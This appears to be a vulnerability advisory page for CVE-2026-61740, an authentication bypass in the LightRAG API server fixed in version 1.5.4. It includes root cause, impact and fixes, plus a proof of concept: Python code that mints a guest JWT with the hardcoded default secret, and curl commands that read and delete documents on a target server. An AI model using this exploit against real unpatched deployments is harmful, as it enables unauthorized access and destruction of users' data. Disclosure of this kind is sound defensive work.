CVE-2026-61740: LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection
Summary When LightRAG is deployed with LIGHTRAGAPIKEY set but AUTHACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker.
Published Jul 20, 2026
Affected packages
lightrag-hku
- Ecosystem
- PyPI
- Affected
- < 1.5.4
- Fixed in
- 1.5.4
- Check
pip show lightrag-hku
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.
This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).
Root cause
Three independent issues combine:
lightrag/api/config.py:54ships a hardcoded default JWT secret: ``python DEFAULT_TOKEN_SECRET="lightr...key!"``lightrag/api/auth.py:28-38falls back toDEFAULT_TOKEN_SECRETwith only a warning log whenAUTH_ACCOUNTSis not configured. The fix for CVE-2026-30762 only raises whenAUTH_ACCOUNTSis set, so the API-key-only path is silently vulnerable.lightrag/api/lightrag_server.py:1140-1186exposesGET /auth-statusandPOST /loginwithout any authentication dependency. In the API-key-only configuration,auth_handler.accountsis empty, and both endpoints unconditionally mint and return a signed guest JWT.lightrag/api/utils_api.py:214-216insidecombined_dependencyshort-circuits authorization on any valid guest token whenauth_configuredis false, before reaching theX-API-Keycheck on line 237: ``python if not auth_configured and token_info.get("role") == "guest": return``
Proof of concept (offline-minted token, zero server contact)
Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.
$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
{"sub":"guest","role":"guest",
"exp":datetime.now(timezone.utc)+timedelta(hours=24),
"metadata":{"auth_mode":"disabled"}},
"lightrag-jwt-default-secret-key!",
algorithm="HS256"))
PY
eyJhbGci...
# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403
# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403
# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
http://target:9876/documents
{"statuses":{}}
HTTP 200
# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.
Impact
Any LightRAG instance that is reachable on the network and configured with:
LIGHTRAG_API_KEYset (i.e. the operator believes the server is protected), andAUTH_ACCOUNTSunset (i.e. they opted out of the password-based login flow)
is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:
- Read and delete arbitrary documents (
/documents,DELETE /documents) - Upload arbitrary documents and text for ingestion (
/documents/upload,/documents/text,/documents/texts,/documents/file_batch,/documents/scan) - Clear LLM / embedding caches (
/documents/clear_cache) - Inspect and mutate the knowledge graph (
/graph/*) - Run arbitrary queries that will consume paid LLM / embedding credits (
/query,/query/stream)
Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.
Suggested CVSS
7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.
Suggested fix
Any one of the following individually closes the primary vector; all three are recommended for defense in depth:
- Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever
TOKEN_SECRETis unset, regardless ofAUTH_ACCOUNTS. - Gate `/auth-status` and `/login` when `LIGHTRAG_API_KEY` is set. Either require
Depends(combined_auth)or stop minting guest tokens wheneverapi_key_configuredis true. - Fix the short-circuit in `combined_dependency`. Do not accept guest tokens as authentication when
api_key_configuredis true; always require a validX-API-Keyheader in that configuration.
Affected versions
mainthrough commit157c331(2026-04-15)- Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path
Prior art checked
- GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT
alg:none. Unrelated. - GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with
AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration. - Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.
Discovery
Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.
Credited to patchmyday.
References
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789
- https://nvd.nist.gov/vuln/detail/CVE-2026-61740
- https://github.com/HKUDS/LightRAG/pull/3319
- https://github.com/HKUDS/LightRAG/commit/f7819aa3a49a9d8d92eed8251d82d6ebcafa8cba
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4
- https://github.com/advisories/GHSA-f4vv-55c2-5789
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
